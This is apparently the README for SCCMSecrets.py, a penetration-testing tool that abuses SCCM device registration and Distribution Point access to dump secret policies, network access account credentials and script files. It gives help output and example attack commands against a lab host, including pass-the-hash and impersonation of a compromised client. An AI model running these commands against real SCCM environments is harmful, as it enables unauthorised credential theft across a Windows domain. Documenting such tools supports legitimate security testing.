SCCMSecrets.py is an SCCM policies exploitation tool. It goes beyond NAA credentials extraction, and aims to provide a comprehensive approach regarding SCCM policies exploitation. The tool can be executed from various levels of privileges, and will attempt to uncover potential misconfigurations related to policies distribution. More detail regarding the tool and its usage is available in the associated article: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial
Two subcommands are available: policies
and files
.
This subcommand interacts with an SCCM Management Point in order to dump the contents of all secret policies (including NAA configuration, task sequences containing credentials, or collection variables). To do so, an approved SCCM device is needed, which can be obtained in three ways.
- If you do not provide a machine account, SCCMSecrets will attempt to register a device and abuse automatic device approval. This is a (non-default) SCCM configuration which automatically grants the "Approved" state to new devices registered anonymously.
- If you provide a machine account, SCCMSecrets will register a new device using the authenticated registration endpoint. By default, SCCM will grant the "Approved" state to devices registered through this endpoint.
- You can also provide an existing device (
--use-existing-device
). This argument expects a directory containing theguid.txt
file (device GUID) and thekey.pem
file (device private key). This can be a device created by a previous SCCMSecrets execution, or the one corresponding to a compromised legitimate SCCM client.
Note that SCCM policies are associated with collections. Registering a new device will place this device in default collections - thus, only secret policies from default collections will be retrieved. This is why impersonating a compromised legitimate SCCM client with the --use-existing-device
can be interesting. Indeed, this legitimate client could be part of custom collections associated with additional secret policies.
Output will be placed in a subdirectory of the loot
directory (format: [timestamp]_policies
).
$ python3 SCCMSecrets.py policies --help
Usage: SCCMSecrets.py policies [OPTIONS]
Dump secret policies from an SCCM Management Point
╭─ Options ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --management-point -mp TEXT The client's SCCM management point. Only necessary if the management point is not on the same machine as the distribution point [default: None] [required] │
│ * --client-name -cn TEXT [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [default: None] [required] │
│ --machine-name -u TEXT [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval [default: None] │
│ --machine-pass -p TEXT [Optional] The password for the machine account [default: None] │
│ --machine-hash -H TEXT [Optional] The NT hash for the machine account [default: None] │
│ --registration-sleep -rs INTEGER [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to device collections (3 minutes by default, may need to be increased) │
│ [default: 180] │
│ --use-existing-device -d TEXT [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it expects the path of a folder containing a guid.txt file (the SCCM device │
│ GUID) and the key.pem file (the client's private key). Note that a client-name value must also be provided to SCCMSecrets (but does not have to match the one of the existing device) │
│ [default: None] │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
This subcommand will index files stored on a Distribution Point and download interesting ones. SCCMSecrets will first attempt to identify if anonymous access is enabled (non-default). If this is the case, files can be indexed and downloaded without authentication. Otherwise, domain credentials will be needed.
It is possible to download files by extension. SCCMSecrets will index files of all packages hosted on the Distribution Point (resulting in an index.txt
file with the Unix tree
format), and it will download files with specified extensions. When providing an empty list of extensions, only file indexing will be performed.
In both cases, from the produced index file, it is possible to use the --urls
flag to download specific interesting files (without reindexing).
Output will be placed in a subdirectory of the loot
directory (format: [timestamp]_files
).
$ python3 SCCMSecrets.py files --help
Usage: SCCMSecrets.py files [OPTIONS]
Dump interesting files from an SCCM Distribution Point
╭─ Options ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --distribution-point -dp TEXT An SCCM distribution point [default: None] [required] │
│ --username -u TEXT [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access [default: None] │
│ --password -p TEXT [Optional] The password for the domain account [default: None] │
│ --hash -H TEXT [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852) [default: None] │
│ --extensions -e TEXT [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not download anything, and only index files │
│ [default: .ps1, .bat, .xml, .txt, .pfx] │
│ --urls -f TEXT [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not want to download by extension, but rather specific known files │
│ [default: None] │
│ --max-recursion -r INTEGER [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10] │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
You can install SCCMSecrets.py by cloning the repository and installing the dependencies.
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
Below are some example commands.
Retrieve secret policies without providing a machine account. This will attempt to exploit the automatic device approval misconfiguration (non-default configuration)
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'
Retrieve secret policies by providing a machine account. This will work in default SCCM configurations
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'
Retrieve secret policies of an already existing device. The compromised_device
folder contains a guid.txt
and key.pem
file.
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/
Retrieve Distribution point files without providing credentials. This will attempt to exploit anonymous DP access (non-default configuration)
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab
Retrieve Distribution point files with credentials. This will work in default SCCM configurations
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'
Retrieve files wih a specific list of extensions. Authenticate with the machine account's hash
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
Retrieve specific files from the Distribution Point by providing a list of URLs (1 by line)
python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst